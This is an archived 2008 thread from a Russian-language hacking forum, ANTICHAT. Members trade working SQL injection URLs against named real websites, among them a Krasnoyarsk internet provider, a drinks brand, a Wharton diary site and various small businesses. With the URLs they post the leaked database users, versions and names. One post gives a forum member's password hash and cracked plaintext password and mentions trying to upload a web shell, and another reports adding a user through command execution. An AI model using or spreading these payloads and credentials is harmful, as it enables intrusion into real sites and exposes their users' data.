ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
28.01.2008, 22:23
|
|
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022
Репутация:
259
|
|
Уязвимы все сайты от LeaguePro Inc, введите в поисковик " This site created by LeaguePro Inc.".В любом из них будет такая скуль
Код:
http://www.leaguepro.com/~whllorg/team.php?id=-62+union+select+concat_ws(char(58,58),user(),database(),version()),2/*
правда выжить из неё что либо не удалось, т.к. 4.1.22-standard. |
|
|
29.01.2008, 00:29
|
|
Познающий
Регистрация: 26.01.2008
Сообщений: 71
Провел на форуме:
280720
Репутация:
141
|
|
сайт довольно большого краснояркского интернет провайдера 
Код:
http://www.kraslan.ru/other/banners.php?click=7+union+select+1,2,3,4,5,6,7,'text',9,10,11,12,13,14,15,16/*
DATABASE()=monitor
Username()=monitor@localhost
Version=5.0.41-log
Последний раз редактировалось MaSter GeN; 31.01.2008 в 16:07..
|
|
|
|
29.01.2008, 02:08
|
|
Участник форума
Регистрация: 05.05.2007
Сообщений: 171
Провел на форуме:
1050662
Репутация:
435
|
|
сайт слабоалкогольного напитка, интересно нахрен столько полей там...
Код:
http://www.happyland.ru/brands.php?id=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*
happyland:happyland@62.118.254.13:4.0.26-log
Код:
http://www.uprava.org/section.php?id=-1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7/*
4.0.27:uprava-org:uprava-org@he2.hoster.ru |
|
|
|
29.01.2008, 04:28
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
Провел на форуме:
16641028
Репутация:
2371
|
|
http://www.iwdp.co.uk
Info:
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws( 0x3a,user(),version(),database()),3,4,5,6,7,8,9,10 ,11/*
iwdp@localhost:4.0.25-standard:iwdp
Disclosure path:
/home/iwdp/public_html/
Members area:
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,2,3,4,5,6, 7,8,9,10,11+from+ibf_members+limit+0,1/*
Forum: (IPB 1.2.2)
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws( 0x3a,name,password),3,4,5,6,7,8,9,10,11+from+ibf_m embers+limit+1,1/*
[hash]
TiggerOnSpeed: a9f16cafdaffb824fb19ce24aa50dc04
[unhash]
TiggerOnSpeed: w173344e
Link to forum: http://www.iwdp.co.uk/members/admin.php
Все методы заливки шелла через админку в ипб не работают т.к. нет прав в дирах.... |
|
|
|
29.01.2008, 04:45
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме:
725870
Репутация:
208
|
|
Код:
http://www.michaelpollan.com/article.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10/*
pollan_article@localhost:4.1.22-standard  ollan_articles |
|
|
|
29.01.2008, 15:15
|
|
Участник форума
Регистрация: 03.09.2005
Сообщений: 123
Провел на форуме:
1896022
Репутация:
259
|
|
Несколько скуль, которые не получилось раскрутить:
Код:
http://www.tanzform.de/team.php?id=-14+union+select+concat_ws(char(58,58),user(),database(),version()),2,3/*
tanzform@localhost::dbtanz::4.1.21
Код:
http://www.chaosfactors.com/wc3/team.php?id=-24+union+select+1,2,3,4,5,6,7,concat_ws(char(58,58),user(),version(),database()),9,10,11,12,13/*
chaosfactors@localhost::4.1.21-log::chaosfactors
Код:
http://www.weigandconstruction.com/about/team.php?id=-1+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13/*
weigandc_wa@localhost::weigandc_weigand::4.0.27
Код:
http://www.thewoodgroupinc.com/team.php?ID=-11+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5/*
TWG_FTPTWG@216.27.95.21::twg_database::4.1.22-max-log
Код:
http://www.steuerberater-prikryl.de/team.php?id=-32+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8/*
prikryl@localhost:: pikryl::4.0.18
Код:
http://www.planervilla.de/team.php?id=-3+union+select+1,2,3,4,concat_ws(char(58,58),user(),database(),version()),6/*
dbo162909144@212.227.119.46::db162909144::5.0.45-log Здесь ничё интересного...
Последний раз редактировалось min7; 29.01.2008 в 15:18..
|
|
|
|
29.01.2008, 16:40
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
Провел на форуме:
16641028
Репутация:
2371
|
|
Код:
http://sutherlands.com/homepage.php?store=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73/*
information_schema есть, но не видел полезных таблиц в бд..
Хотя мембер зона есть.... |
|
|
|
29.01.2008, 17:03
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме:
725870
Репутация:
208
|
|
Код:
http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),version(),database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*
eutrsite@localhost:5.0.22-Debian_0ubuntu6.06.6-log:eutrainingsite
Код:
http://www.allaboutjazz.com/php/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(0x3a,user(),version(),database()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82/*
vxweb@jazzy:4.1.20:allaboutjazz |
|
|
|
29.01.2008, 17:06
|
|
Новичок
Регистрация: 06.12.2007
Сообщений: 7
Провел на форуме:
30898
Репутация:
6
|
|
Вот собственно есть сайт :
http://diaries.wharton.upenn.edu/DiaristResults.asp?UserID=-1+or+1=(select+user)--
Команды исполняются, НО! добавил юзера, попробовал законектится, ввожу логин, пасс - не пускает! (не правильный пасс типа того). Может там домен надо указывать или еще чтонить? Помогите разобраться. Много сайтов встречал с такой байдой.
|
|
|
|
29.01.2008, 17:33
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038
Репутация:
1385
|
|
http://www.michaelpollan.com/article.php?id=-14+union+select+1,2,3,4,5,6,7,8,9,0/*
4.1.22-standard
-----------------------------------------------------
http://www.ciritas.ru/product.php?id=-2+union+select+1,2,3,4,5,6,7,8,9/*
4.1.22-log
-----------------------------------------------------
http://www.roskrup.ru/eq.php?razdel=9+union+select+1,2,3,4,5,6,7,8,9,0,1 ,2,3/*
вывода не нащёл ((
тиц 1.6к
|
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Комбинированный вид
